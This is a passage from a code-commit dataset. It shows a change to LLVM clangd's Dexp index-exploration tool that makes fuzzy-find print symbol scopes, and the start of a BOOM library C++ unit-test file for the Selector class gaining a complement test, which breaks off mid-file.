University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements a simple interactive tool which can be used to manually\n\/\/ evaluate symbol search quality of Clangd index.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SourceCode.h\"\n#include \"index\/Serialization.h\"\n#include \"index\/dex\/Dex.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/LineEditor\/LineEditor.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Signals.h\"\n\nusing namespace llvm;\nusing namespace clang;\nusing namespace clangd;\n\nnamespace {\n\ncl::opt<std::string> IndexPath(\"index-path\", cl::desc(\"Path to the index\"),\n cl::Positional, cl::Required);\n\nstatic const std::string Overview = R\"(\nThis is an **experimental** interactive tool to process user-provided search\nqueries over given symbol collection obtained via clangd-indexer. The\ntool can be used to evaluate search quality of existing index implementations\nand manually construct non-trivial test cases.\n\nType use \"help\" request to get information about the details.\n)\";\n\nvoid reportTime(StringRef Name, function_ref<void()> F) {\n const auto TimerStart = std::chrono::high_resolution_clock::now();\n F();\n const auto TimerStop = std::chrono::high_resolution_clock::now();\n const auto Duration = std::chrono::duration_cast<std::chrono::milliseconds>(\n TimerStop - TimerStart);\n outs() << formatv(\"{0} took {1:ms+n}.\\n\", Name, Duration);\n}\n\nstd::vector<SymbolID> getSymbolIDsFromIndex(StringRef QualifiedName,\n const SymbolIndex *Index) {\n FuzzyFindRequest Request;\n \/\/ Remove leading \"::\" qualifier as FuzzyFind doesn't need leading \"::\"\n \/\/ qualifier for global scope.\n bool IsGlobalScope = QualifiedName.consume_front(\"::\");\n auto Names = splitQualifiedName(QualifiedName);\n if (IsGlobalScope || !Names.first.empty())\n Request.Scopes = {Names.first};\n else\n \/\/ QualifiedName refers to a symbol in global scope (e.g. \"GlobalSymbol\"),\n \/\/ add the global scope to the request.\n Request.Scopes = {\"\"};\n\n Request.Query = Names.second;\n std::vector<SymbolID> SymIDs;\n Index->fuzzyFind(Request, [&](const Symbol &Sym) {\n std::string SymQualifiedName = (Sym.Scope + Sym.Name).str();\n if (QualifiedName == SymQualifiedName)\n SymIDs.push_back(Sym.ID);\n });\n return SymIDs;\n}\n\n\/\/ REPL commands inherit from Command and contain their options as members.\n\/\/ Creating a Command populates parser options, parseAndRun() resets them.\nclass Command {\n \/\/ By resetting the parser options, we lost the standard -help flag.\n cl::opt<bool, false, cl::parser<bool>> Help{\n \"help\", cl::desc(\"Display available options\"), cl::ValueDisallowed,\n cl::cat(cl::GeneralCategory)};\n virtual void run() = 0;\n\nprotected:\n const SymbolIndex *Index;\n\npublic:\n virtual ~Command() = default;\n virtual void parseAndRun(ArrayRef<const char *> Argv, const char *Overview,\n const SymbolIndex &Index) {\n std::string ParseErrs;\n raw_string_ostream OS(ParseErrs);\n bool Ok =\n cl::ParseCommandLineOptions(Argv.size(), Argv.data(), Overview, &OS);\n if (Help.getNumOccurrences() > 0) {\n \/\/ Avoid printing parse errors in this case.\n \/\/ (Well, in theory. A bunch get printed to llvm::errs() regardless!)\n cl::PrintHelpMessage();\n } else {\n outs() << OS.str();\n if (Ok) {\n this->Index = &Index;\n reportTime(Argv[0], [&] { run(); });\n }\n }\n cl::ResetCommandLineParser(); \/\/ must do this before opts are destroyed.\n }\n};\n\n\/\/ FIXME(kbobyrev): Ideas for more commands:\n\/\/ * load\/swap\/reload index: this would make it possible to get rid of llvm::cl\n\/\/ usages in the tool driver and actually use llvm::cl library in the REPL.\n\/\/ * show posting list density histogram (our dump data somewhere so that user\n\/\/ could build one)\n\/\/ * show number of tokens of each kind\n\/\/ * print out tokens with the most dense posting lists\n\/\/ * print out tokens with least dense posting lists\n\nclass FuzzyFind : public Command {\n cl::opt<std::string> Query{\n \"query\",\n cl::Positional,\n cl::Required,\n cl::desc(\"Query string to be fuzzy-matched\"),\n };\n cl::opt<std::string> Scopes{\n \"scopes\",\n cl::desc(\"Allowed symbol scopes (comma-separated list)\"),\n };\n cl::opt<unsigned> Limit{\n \"limit\",\n cl::init(10),\n cl::desc(\"Max results to display\"),\n };\n\n void run() override {\n FuzzyFindRequest Request;\n Request.Limit = Limit;\n Request.Query = Query;\n if (Scopes.getNumOccurrences() > 0) {\n SmallVector<StringRef, 8> Scopes;\n StringRef(this->Scopes).split(Scopes, ',');\n Request.Scopes = {Scopes.begin(), Scopes.end()};\n }\n Request.AnyScope = Request.Scopes.empty();\n \/\/ FIXME(kbobyrev): Print symbol final scores to see the distribution.\n static const auto OutputFormat = \"{0,-4} | {1,-40} | {2,-25}\\n\";\n outs() << formatv(OutputFormat, \"Rank\", \"Symbol ID\", \"Symbol Name\");\n size_t Rank = 0;\n Index->fuzzyFind(Request, [&](const Symbol &Sym) {\n outs() << formatv(OutputFormat, Rank++, Sym.ID.str(), Sym.Name);\n });\n }\n};\n\nclass Lookup : public Command {\n cl::opt<std::string> ID{\n \"id\",\n cl::Positional,\n cl::desc(\"Symbol ID to look up (hex)\"),\n };\n cl::opt<std::string> Name{\n \"name\", cl::desc(\"Qualified name to look up.\"),\n };\n\n void run() override {\n if (ID.getNumOccurrences() == 0 && Name.getNumOccurrences() == 0) {\n outs() << \"Missing required argument: please provide id or -name.\\n\";\n return;\n }\n std::vector<SymbolID> IDs;\n if (ID.getNumOccurrences()) {\n auto SID = SymbolID::fromStr(ID);\n if (!SID) {\n outs() << toString(SID.takeError()) << \"\\n\";\n return;\n }\n IDs.push_back(*SID);\n } else {\n IDs = getSymbolIDsFromIndex(Name, Index);\n }\n\n LookupRequest Request;\n Request.IDs.insert(IDs.begin(), IDs.end());\n bool FoundSymbol = false;\n Index->lookup(Request, [&](const Symbol &Sym) {\n FoundSymbol = true;\n outs() << toYAML(Sym);\n });\n if (!FoundSymbol)\n outs() << \"not found\\n\";\n }\n};\n\nclass Refs : public Command {\n cl::opt<std::string> ID{\n \"id\", cl::Positional,\n cl::desc(\"Symbol ID of the symbol being queried (hex).\"),\n };\n cl::opt<std::string> Name{\n \"name\", cl::desc(\"Qualified name of the symbol being queried.\"),\n };\n cl::opt<std::string> Filter{\n \"filter\", cl::init(\".*\"),\n cl::desc(\n \"Print all results from files matching this regular expression.\"),\n };\n\n void run() override {\n if (ID.getNumOccurrences() == 0 && Name.getNumOccurrences() == 0) {\n outs() << \"Missing required argument: please provide id or -name.\\n\";\n return;\n }\n std::vector<SymbolID> IDs;\n if (ID.getNumOccurrences()) {\n auto SID = SymbolID::fromStr(ID);\n if (!SID) {\n outs() << toString(SID.takeError()) << \"\\n\";\n return;\n }\n IDs.push_back(*SID);\n } else {\n IDs = getSymbolIDsFromIndex(Name, Index);\n if (IDs.size() > 1) {\n outs() << formatv(\"The name {0} is ambiguous, found {1} different \"\n \"symbols. Please use id flag to disambiguate.\\n\",\n Name, IDs.size());\n return;\n }\n }\n RefsRequest RefRequest;\n RefRequest.IDs.insert(IDs.begin(), IDs.end());\n Regex RegexFilter(Filter);\n Index->refs(RefRequest, [&RegexFilter](const Ref &R) {\n auto U = URI::parse(R.Location.FileURI);\n if (!U) {\n outs() << U.takeError();\n return;\n }\n if (RegexFilter.match(U->body()))\n outs() << R << \"\\n\";\n });\n }\n};\n\nstruct {\n const char *Name;\n const char *Description;\n std::function<std::unique_ptr<Command>()> Implementation;\n} CommandInfo[] = {\n {\"find\", \"Search for symbols with fuzzyFind\", llvm::make_unique<FuzzyFind>},\n {\"lookup\", \"Dump symbol details by ID or qualified name\",\n llvm::make_unique<Lookup>},\n {\"refs\", \"Find references by ID or qualified name\",\n llvm::make_unique<Refs>},\n};\n\nstd::unique_ptr<SymbolIndex> openIndex(StringRef Index) {\n return loadIndex(Index, \/*UseDex=*\/true);\n}\n\n} \/\/ namespace\n\nint main(int argc, const char *argv[]) {\n cl::ParseCommandLineOptions(argc, argv, Overview);\n cl::ResetCommandLineParser(); \/\/ We reuse it for REPL commands.\n sys::PrintStackTraceOnErrorSignal(argv[0]);\n\n std::unique_ptr<SymbolIndex> Index;\n reportTime(\"Dex build\", [&]() {\n Index = openIndex(IndexPath);\n });\n\n if (!Index) {\n outs() << \"Failed to open the index.\\n\";\n return -1;\n }\n\n LineEditor LE(\"dexp\");\n\n while (Optional<std::string> Request = LE.readLine()) {\n \/\/ Split on spaces and add required null-termination.\n std::replace(Request->begin(), Request->end(), ' ', '\\0');\n SmallVector<StringRef, 8> Args;\n StringRef(*Request).split(Args, '\\0', \/*MaxSplit=*\/-1, \/*KeepEmpty=*\/false);\n if (Args.empty())\n continue;\n if (Args.front() == \"help\") {\n outs() << \"dexp - Index explorer\\nCommands:\\n\";\n for (const auto &C : CommandInfo)\n outs() << formatv(\"{0,16} - {1}\\n\", C.Name, C.Description);\n outs() << \"Get detailed command help with e.g. `find -help`.\\n\";\n continue;\n }\n SmallVector<const char *, 8> FakeArgv;\n for (StringRef S : Args)\n FakeArgv.push_back(S.data()); \/\/ Terminated by separator or end of string.\n\n bool Recognized = false;\n for (const auto &Cmd : CommandInfo) {\n if (Cmd.Name == Args.front()) {\n Recognized = true;\n Cmd.Implementation()->parseAndRun(FakeArgv, Cmd.Description, *Index);\n break;\n }\n }\n if (!Recognized)\n outs() << \"Unknown command. Try 'help'.\\n\";\n }\n\n return 0;\n}\n<commit_msg>[dexp] Change FuzzyFind to also print scope of symbols<commit_after>\/\/===--- Dexp.cpp - Dex EXPloration tool ------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements a simple interactive tool which can be used to manually\n\/\/ evaluate symbol search quality of Clangd index.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SourceCode.h\"\n#include \"index\/Serialization.h\"\n#include \"index\/dex\/Dex.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/LineEditor\/LineEditor.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Signals.h\"\n\nusing namespace llvm;\nusing namespace clang;\nusing namespace clangd;\n\nnamespace {\n\ncl::opt<std::string> IndexPath(\"index-path\", cl::desc(\"Path to the index\"),\n cl::Positional, cl::Required);\n\nstatic const std::string Overview = R\"(\nThis is an **experimental** interactive tool to process user-provided search\nqueries over given symbol collection obtained via clangd-indexer. The\ntool can be used to evaluate search quality of existing index implementations\nand manually construct non-trivial test cases.\n\nType use \"help\" request to get information about the details.\n)\";\n\nvoid reportTime(StringRef Name, function_ref<void()> F) {\n const auto TimerStart = std::chrono::high_resolution_clock::now();\n F();\n const auto TimerStop = std::chrono::high_resolution_clock::now();\n const auto Duration = std::chrono::duration_cast<std::chrono::milliseconds>(\n TimerStop - TimerStart);\n outs() << formatv(\"{0} took {1:ms+n}.\\n\", Name, Duration);\n}\n\nstd::vector<SymbolID> getSymbolIDsFromIndex(StringRef QualifiedName,\n const SymbolIndex *Index) {\n FuzzyFindRequest Request;\n \/\/ Remove leading \"::\" qualifier as FuzzyFind doesn't need leading \"::\"\n \/\/ qualifier for global scope.\n bool IsGlobalScope = QualifiedName.consume_front(\"::\");\n auto Names = splitQualifiedName(QualifiedName);\n if (IsGlobalScope || !Names.first.empty())\n Request.Scopes = {Names.first};\n else\n \/\/ QualifiedName refers to a symbol in global scope (e.g. \"GlobalSymbol\"),\n \/\/ add the global scope to the request.\n Request.Scopes = {\"\"};\n\n Request.Query = Names.second;\n std::vector<SymbolID> SymIDs;\n Index->fuzzyFind(Request, [&](const Symbol &Sym) {\n std::string SymQualifiedName = (Sym.Scope + Sym.Name).str();\n if (QualifiedName == SymQualifiedName)\n SymIDs.push_back(Sym.ID);\n });\n return SymIDs;\n}\n\n\/\/ REPL commands inherit from Command and contain their options as members.\n\/\/ Creating a Command populates parser options, parseAndRun() resets them.\nclass Command {\n \/\/ By resetting the parser options, we lost the standard -help flag.\n cl::opt<bool, false, cl::parser<bool>> Help{\n \"help\", cl::desc(\"Display available options\"), cl::ValueDisallowed,\n cl::cat(cl::GeneralCategory)};\n virtual void run() = 0;\n\nprotected:\n const SymbolIndex *Index;\n\npublic:\n virtual ~Command() = default;\n virtual void parseAndRun(ArrayRef<const char *> Argv, const char *Overview,\n const SymbolIndex &Index) {\n std::string ParseErrs;\n raw_string_ostream OS(ParseErrs);\n bool Ok =\n cl::ParseCommandLineOptions(Argv.size(), Argv.data(), Overview, &OS);\n if (Help.getNumOccurrences() > 0) {\n \/\/ Avoid printing parse errors in this case.\n \/\/ (Well, in theory. A bunch get printed to llvm::errs() regardless!)\n cl::PrintHelpMessage();\n } else {\n outs() << OS.str();\n if (Ok) {\n this->Index = &Index;\n reportTime(Argv[0], [&] { run(); });\n }\n }\n cl::ResetCommandLineParser(); \/\/ must do this before opts are destroyed.\n }\n};\n\n\/\/ FIXME(kbobyrev): Ideas for more commands:\n\/\/ * load\/swap\/reload index: this would make it possible to get rid of llvm::cl\n\/\/ usages in the tool driver and actually use llvm::cl library in the REPL.\n\/\/ * show posting list density histogram (our dump data somewhere so that user\n\/\/ could build one)\n\/\/ * show number of tokens of each kind\n\/\/ * print out tokens with the most dense posting lists\n\/\/ * print out tokens with least dense posting lists\n\nclass FuzzyFind : public Command {\n cl::opt<std::string> Query{\n \"query\",\n cl::Positional,\n cl::Required,\n cl::desc(\"Query string to be fuzzy-matched\"),\n };\n cl::opt<std::string> Scopes{\n \"scopes\",\n cl::desc(\"Allowed symbol scopes (comma-separated list)\"),\n };\n cl::opt<unsigned> Limit{\n \"limit\",\n cl::init(10),\n cl::desc(\"Max results to display\"),\n };\n\n void run() override {\n FuzzyFindRequest Request;\n Request.Limit = Limit;\n Request.Query = Query;\n if (Scopes.getNumOccurrences() > 0) {\n SmallVector<StringRef, 8> Scopes;\n StringRef(this->Scopes).split(Scopes, ',');\n Request.Scopes = {Scopes.begin(), Scopes.end()};\n }\n Request.AnyScope = Request.Scopes.empty();\n \/\/ FIXME(kbobyrev): Print symbol final scores to see the distribution.\n static const auto OutputFormat = \"{0,-4} | {1,-40} | {2,-25}\\n\";\n outs() << formatv(OutputFormat, \"Rank\", \"Symbol ID\", \"Symbol Name\");\n size_t Rank = 0;\n Index->fuzzyFind(Request, [&](const Symbol &Sym) {\n outs() << formatv(OutputFormat, Rank++, Sym.ID.str(),\n Sym.Scope + Sym.Name);\n });\n }\n};\n\nclass Lookup : public Command {\n cl::opt<std::string> ID{\n \"id\",\n cl::Positional,\n cl::desc(\"Symbol ID to look up (hex)\"),\n };\n cl::opt<std::string> Name{\n \"name\", cl::desc(\"Qualified name to look up.\"),\n };\n\n void run() override {\n if (ID.getNumOccurrences() == 0 && Name.getNumOccurrences() == 0) {\n outs() << \"Missing required argument: please provide id or -name.\\n\";\n return;\n }\n std::vector<SymbolID> IDs;\n if (ID.getNumOccurrences()) {\n auto SID = SymbolID::fromStr(ID);\n if (!SID) {\n outs() << toString(SID.takeError()) << \"\\n\";\n return;\n }\n IDs.push_back(*SID);\n } else {\n IDs = getSymbolIDsFromIndex(Name, Index);\n }\n\n LookupRequest Request;\n Request.IDs.insert(IDs.begin(), IDs.end());\n bool FoundSymbol = false;\n Index->lookup(Request, [&](const Symbol &Sym) {\n FoundSymbol = true;\n outs() << toYAML(Sym);\n });\n if (!FoundSymbol)\n outs() << \"not found\\n\";\n }\n};\n\nclass Refs : public Command {\n cl::opt<std::string> ID{\n \"id\", cl::Positional,\n cl::desc(\"Symbol ID of the symbol being queried (hex).\"),\n };\n cl::opt<std::string> Name{\n \"name\", cl::desc(\"Qualified name of the symbol being queried.\"),\n };\n cl::opt<std::string> Filter{\n \"filter\", cl::init(\".*\"),\n cl::desc(\n \"Print all results from files matching this regular expression.\"),\n };\n\n void run() override {\n if (ID.getNumOccurrences() == 0 && Name.getNumOccurrences() == 0) {\n outs() << \"Missing required argument: please provide id or -name.\\n\";\n return;\n }\n std::vector<SymbolID> IDs;\n if (ID.getNumOccurrences()) {\n auto SID = SymbolID::fromStr(ID);\n if (!SID) {\n outs() << toString(SID.takeError()) << \"\\n\";\n return;\n }\n IDs.push_back(*SID);\n } else {\n IDs = getSymbolIDsFromIndex(Name, Index);\n if (IDs.size() > 1) {\n outs() << formatv(\"The name {0} is ambiguous, found {1} different \"\n \"symbols. Please use id flag to disambiguate.\\n\",\n Name, IDs.size());\n return;\n }\n }\n RefsRequest RefRequest;\n RefRequest.IDs.insert(IDs.begin(), IDs.end());\n Regex RegexFilter(Filter);\n Index->refs(RefRequest, [&RegexFilter](const Ref &R) {\n auto U = URI::parse(R.Location.FileURI);\n if (!U) {\n outs() << U.takeError();\n return;\n }\n if (RegexFilter.match(U->body()))\n outs() << R << \"\\n\";\n });\n }\n};\n\nstruct {\n const char *Name;\n const char *Description;\n std::function<std::unique_ptr<Command>()> Implementation;\n} CommandInfo[] = {\n {\"find\", \"Search for symbols with fuzzyFind\", llvm::make_unique<FuzzyFind>},\n {\"lookup\", \"Dump symbol details by ID or qualified name\",\n llvm::make_unique<Lookup>},\n {\"refs\", \"Find references by ID or qualified name\",\n llvm::make_unique<Refs>},\n};\n\nstd::unique_ptr<SymbolIndex> openIndex(StringRef Index) {\n return loadIndex(Index, \/*UseDex=*\/true);\n}\n\n} \/\/ namespace\n\nint main(int argc, const char *argv[]) {\n cl::ParseCommandLineOptions(argc, argv, Overview);\n cl::ResetCommandLineParser(); \/\/ We reuse it for REPL commands.\n sys::PrintStackTraceOnErrorSignal(argv[0]);\n\n std::unique_ptr<SymbolIndex> Index;\n reportTime(\"Dex build\", [&]() {\n Index = openIndex(IndexPath);\n });\n\n if (!Index) {\n outs() << \"Failed to open the index.\\n\";\n return -1;\n }\n\n LineEditor LE(\"dexp\");\n\n while (Optional<std::string> Request = LE.readLine()) {\n \/\/ Split on spaces and add required null-termination.\n std::replace(Request->begin(), Request->end(), ' ', '\\0');\n SmallVector<StringRef, 8> Args;\n StringRef(*Request).split(Args, '\\0', \/*MaxSplit=*\/-1, \/*KeepEmpty=*\/false);\n if (Args.empty())\n continue;\n if (Args.front() == \"help\") {\n outs() << \"dexp - Index explorer\\nCommands:\\n\";\n for (const auto &C : CommandInfo)\n outs() << formatv(\"{0,16} - {1}\\n\", C.Name, C.Description);\n outs() << \"Get detailed command help with e.g. `find -help`.\\n\";\n continue;\n }\n SmallVector<const char *, 8> FakeArgv;\n for (StringRef S : Args)\n FakeArgv.push_back(S.data()); \/\/ Terminated by separator or end of string.\n\n bool Recognized = false;\n for (const auto &Cmd : CommandInfo) {\n if (Cmd.Name == Args.front()) {\n Recognized = true;\n Cmd.Implementation()->parseAndRun(FakeArgv, Cmd.Description, *Index);\n break;\n }\n }\n if (!Recognized)\n outs() << \"Unknown command. Try 'help'.\\n\";\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"gtest\/gtest.h\"\n#include \"LinAlg\/Vector.hpp\"\n#include \"LinAlg\/VectorView.hpp\"\n#include \"LinAlg\/DiagonalMatrix.hpp\"\n#include \"LinAlg\/Matrix.hpp\"\n#include \"LinAlg\/Selector.hpp\"\n#include \"distributions.hpp\"\n#include \"cpputil\/math_utils.hpp\"\n#include \"test_utils\/test_utils.hpp\"\n#include <fstream>\n\nnamespace {\n using namespace BOOM;\n using std::endl;\n using std::cout;\n\n class SelectorTest : public ::testing::Test {\n protected:\n SelectorTest() {\n GlobalRng::rng.seed(8675309);\n }\n };\n\n TEST_F(SelectorTest, Equality) {\n Selector s1(\"001\");\n Selector s2(\"101\");\n EXPECT_NE(s1, s2);\n EXPECT_TRUE(s1 != s2);\n EXPECT_FALSE(s1 == s2);\n \n s2.flip(0); \/\/ now 001\n EXPECT_EQ(s1, s2);\n EXPECT_TRUE(s1 == s2);\n EXPECT_FALSE(s1 != s2);\n\n s2.flip(0);\n swap(s1, s2);\n Selector s3(\"001\");\n EXPECT_EQ(s2, s3);\n EXPECT_NE(s1, s3);\n s3.flip(0);\n EXPECT_EQ(s1, s3);\n EXPECT_NE(s2, s3);\n }\n\n TEST_F(SelectorTest, Indexing) {\n Selector s1(\"101001101\");\n EXPECT_EQ(s1.nvars(), 5);\n EXPECT_EQ(s1.nvars_possible(), 9);\n EXPECT_EQ(s1.nvars_excluded(), 4);\n\n EXPECT_EQ(0, s1.indx(0));\n EXPECT_EQ(2, s1.indx(1));\n EXPECT_EQ(5, s1.indx(2));\n EXPECT_EQ(6, s1.indx(3));\n EXPECT_EQ(8, s1.indx(4));\n\n EXPECT_EQ(0, s1.INDX(0));\n EXPECT_EQ(1, s1.INDX(2));\n EXPECT_EQ(2, s1.INDX(5));\n EXPECT_EQ(3, s1.INDX(6));\n EXPECT_EQ(4, s1.INDX(8)); \n }\n \n TEST_F(SelectorTest, Append) {\n Selector s1(\"010\");\n EXPECT_EQ(s1.nvars(), 1);\n EXPECT_EQ(s1.nvars_possible(), 3);\n\n s1.push_back(true);\n EXPECT_EQ(s1.nvars(), 2);\n EXPECT_EQ(s1.nvars_possible(), 4);\n\n s1.push_back(false);\n EXPECT_EQ(s1.nvars(), 2);\n EXPECT_EQ(s1.nvars_possible(), 5);\n\n \/\/ Current state is \"01010\".\n \/\/ Set it to \"0100\"\n s1.erase(3);\n EXPECT_EQ(s1.nvars(), 1);\n EXPECT_EQ(s1.nvars_possible(), 4);\n EXPECT_TRUE(s1[1]);\n }\n\n TEST_F(SelectorTest, ToVectorTest) {\n Selector s(\"00010\");\n Vector v = s.to_Vector();\n EXPECT_EQ(v.size(), 5);\n EXPECT_DOUBLE_EQ(v[0], 0);\n EXPECT_DOUBLE_EQ(v[1], 0);\n EXPECT_DOUBLE_EQ(v[2], 0);\n EXPECT_DOUBLE_EQ(v[3], 1);\n EXPECT_DOUBLE_EQ(v[4], 0);\n }\n \n TEST_F(SelectorTest, SelectRowsTest) {\n Matrix big(10, 4);\n big.randomize();\n\n Selector inc(10, false);\n inc.add(2);\n inc.add(7);\n\n Matrix small = inc.select_rows(big);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n\n big.randomize();\n ConstSubMatrix big_view(big);\n small = inc.select_rows(big_view);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n\n big.randomize();\n SubMatrix mutable_big_view(big);\n small = inc.select_rows(big_view);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n }\n \n TEST_F(SelectorTest, SparseSum) {\n Vector v(100);\n v.randomize();\n\n Selector inc(100);\n inc.drop_all();\n EXPECT_DOUBLE_EQ(0.0, inc.sparse_sum(v));\n \n inc.add(3);\n inc.add(17);\n inc.add(12);\n EXPECT_DOUBLE_EQ(\n inc.sparse_sum(v),\n v[3] + v[12] + v[17]);\n }\n\n \/\/ This test checks the Selector's ability to select from std::vector.\n TEST_F(SelectorTest, VectorInt) {\n std::vector<int> big = {1, 2, 3, 4, 5};\n Selector inc(\"10010\");\n std::vector<int> small = inc.select(big);\n EXPECT_EQ(2, small.size());\n EXPECT_EQ(1, small[0]);\n EXPECT_EQ(4, small[1]);\n }\n\n TEST_F(SelectorTest, SelectorMatrixTest) {\n Selector inc_vec(\"111101\");\n SelectorMatrix inc(3, 2, inc_vec);\n EXPECT_EQ(3, inc.nrow());\n EXPECT_EQ(2, inc.ncol());\n\n \/\/ Check that the input vector fills column-by-column.\n EXPECT_TRUE(inc(0, 0));\n EXPECT_TRUE(inc(1, 0));\n EXPECT_TRUE(inc(2, 0));\n EXPECT_TRUE(inc(0, 1));\n EXPECT_FALSE(inc(1, 1));\n EXPECT_TRUE(inc(2, 1));\n\n EXPECT_EQ(inc_vec, inc.vectorize());\n \n inc.drop(0, 1);\n EXPECT_FALSE(inc(0, 1));\n inc.add(0, 1);\n EXPECT_TRUE(inc(0, 1));\n inc.flip(0, 1);\n EXPECT_FALSE(inc(0, 1));\n inc.flip(0, 1);\n EXPECT_TRUE(inc(0, 1));\n\n EXPECT_FALSE(inc.all_in());\n EXPECT_FALSE(inc.all_out());\n inc.drop_all();\n for (int i = 0; i < inc.nrow(); ++i) {\n for (int j = 0; j < inc.ncol(); ++j) {\n EXPECT_FALSE(inc(i, j));\n }\n }\n EXPECT_TRUE(inc.all_out());\n\n inc.add_all();\n for (int i = 0; i < inc.nrow(); ++i) {\n for (int j = 0; j < inc.ncol(); ++j) {\n EXPECT_TRUE(inc(i, j));\n }\n }\n EXPECT_TRUE(inc.all_in());\n\n SelectorMatrix wide(4, 3, Selector(\"100000010010\"));\n \/\/ 1 0 0\n \/\/ 0 0 0\n \/\/ 0 0 1\n \/\/ 0 1 0\n Selector any(wide.row_any());\n EXPECT_TRUE(any[0]);\n EXPECT_FALSE(any[1]);\n EXPECT_TRUE(any[2]);\n EXPECT_TRUE(any[3]);\n\n Selector all(wide.row_all());\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[3]);\n\n Selector row2 = wide.row(2);\n EXPECT_EQ(3, row2.nvars_possible());\n EXPECT_FALSE(row2[0]);\n EXPECT_FALSE(row2[1]);\n EXPECT_TRUE(row2[2]);\n \n Matrix selectable(4, 3);\n selectable.randomize();\n Vector selected = wide.vector_select(selectable);\n EXPECT_EQ(3, selected.size());\n EXPECT_DOUBLE_EQ(selected[0], selectable(0, 0));\n EXPECT_DOUBLE_EQ(selected[1], selectable(3, 1));\n EXPECT_DOUBLE_EQ(selected[2], selectable(2, 2));\n\n Matrix expanded(4, 3, 0.0);\n expanded(0, 0) = selectable(0, 0);\n expanded(3, 1) = selectable(3, 1);\n expanded(2, 2) = selectable(2, 2);\n\n wide.add(3, 0);\n wide.add(3, 2);\n all = wide.row_all();\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_TRUE(all[3]);\n }\n\n TEST_F(SelectorTest, DiagonalMatrixTest) {\n Selector empty(4, false);\n Selector full(4, true);\n Selector one(4, false);\n one.add(2);\n Selector three(4, true);\n three.drop(2);\n\n Vector v(4);\n v.randomize();\n DiagonalMatrix dmat(v);\n\n EXPECT_EQ(empty.select_square(dmat).nrow(), 0);\n EXPECT_EQ(empty.select_square(dmat).ncol(), 0);\n EXPECT_EQ(full.select_square(dmat).nrow(), 4);\n EXPECT_EQ(full.select_square(dmat).ncol(), 4);\n EXPECT_TRUE(VectorEquals(full.select_square(dmat).diag(), v));\n\n EXPECT_EQ(one.select_square(dmat).nrow(), 1);\n EXPECT_EQ(one.select_square(dmat).ncol(), 1);\n EXPECT_TRUE(VectorEquals( one.select_square(dmat).diag(), one.select(v)));\n\n EXPECT_EQ(three.select_square(dmat).nrow(), 3);\n EXPECT_EQ(three.select_square(dmat).ncol(), 3);\n EXPECT_TRUE(VectorEquals(three.select_square(dmat).diag(),\n three.select(v)));\n }\n\n TEST_F(SelectorTest, FillMissingValues) {\n Vector x(5);\n x.randomize();\n\n Selector all(5, true);\n Selector none(5, false);\n\n EXPECT_TRUE(VectorEquals(x, all.fill_missing_elements(x, 3.0)));\n EXPECT_TRUE(VectorEquals(Vector(5, 3.0),\n none.fill_missing_elements(x, 3.0)));\n\n x.randomize();\n Selector three(\"11010\");\n Vector y = x;\n three.fill_missing_elements(x, 3.0);\n y[2] = 3.0;\n y[4] = 3.0;\n EXPECT_TRUE(VectorEquals(x, y));\n\n Vector values = {1.2, 2.4};\n three.fill_missing_elements(x, values);\n y[2] = 1.2;\n y[4] = 2.4;\n EXPECT_TRUE(VectorEquals(x, y));\n }\n \n} \/\/ namespace\n<commit_msg>Add a test for Selector::complement.<commit_after>#include \"gtest\/gtest.h\"\n#include \"LinAlg\/Vector.hpp\"\n#include \"LinAlg\/VectorView.hpp\"\n#include \"LinAlg\/DiagonalMatrix.hpp\"\n#include \"LinAlg\/Matrix.hpp\"\n#include \"LinAlg\/Selector.hpp\"\n#include \"distributions.hpp\"\n#include \"cpputil\/math_utils.hpp\"\n#include \"test_utils\/test_utils.hpp\"\n#include <fstream>\n\nnamespace {\n using namespace BOOM;\n using std::endl;\n using std::cout;\n\n class SelectorTest : public ::testing::Test {\n protected:\n SelectorTest() {\n GlobalRng::rng.seed(8675309);\n }\n };\n\n TEST_F(SelectorTest, Equality) {\n Selector s1(\"001\");\n Selector s2(\"101\");\n EXPECT_NE(s1, s2);\n EXPECT_TRUE(s1 != s2);\n EXPECT_FALSE(s1 == s2);\n \n s2.flip(0); \/\/ now 001\n EXPECT_EQ(s1, s2);\n EXPECT_TRUE(s1 == s2);\n EXPECT_FALSE(s1 != s2);\n\n s2.flip(0);\n swap(s1, s2);\n Selector s3(\"001\");\n EXPECT_EQ(s2, s3);\n EXPECT_NE(s1, s3);\n s3.flip(0);\n EXPECT_EQ(s1, s3);\n EXPECT_NE(s2, s3);\n }\n\n TEST_F(SelectorTest, Complement) {\n Selector s1(\"101001101\");\n Selector s2 = s1.complement();\n EXPECT_EQ(s2.nvars_possible(), s1.nvars_possible());\n for (int i = 0; i < s1.nvars_possible(); ++i) {\n EXPECT_EQ(s1[i], !s2[i]);\n }\n }\n\n \n TEST_F(SelectorTest, Indexing) {\n Selector s1(\"101001101\");\n EXPECT_EQ(s1.nvars(), 5);\n 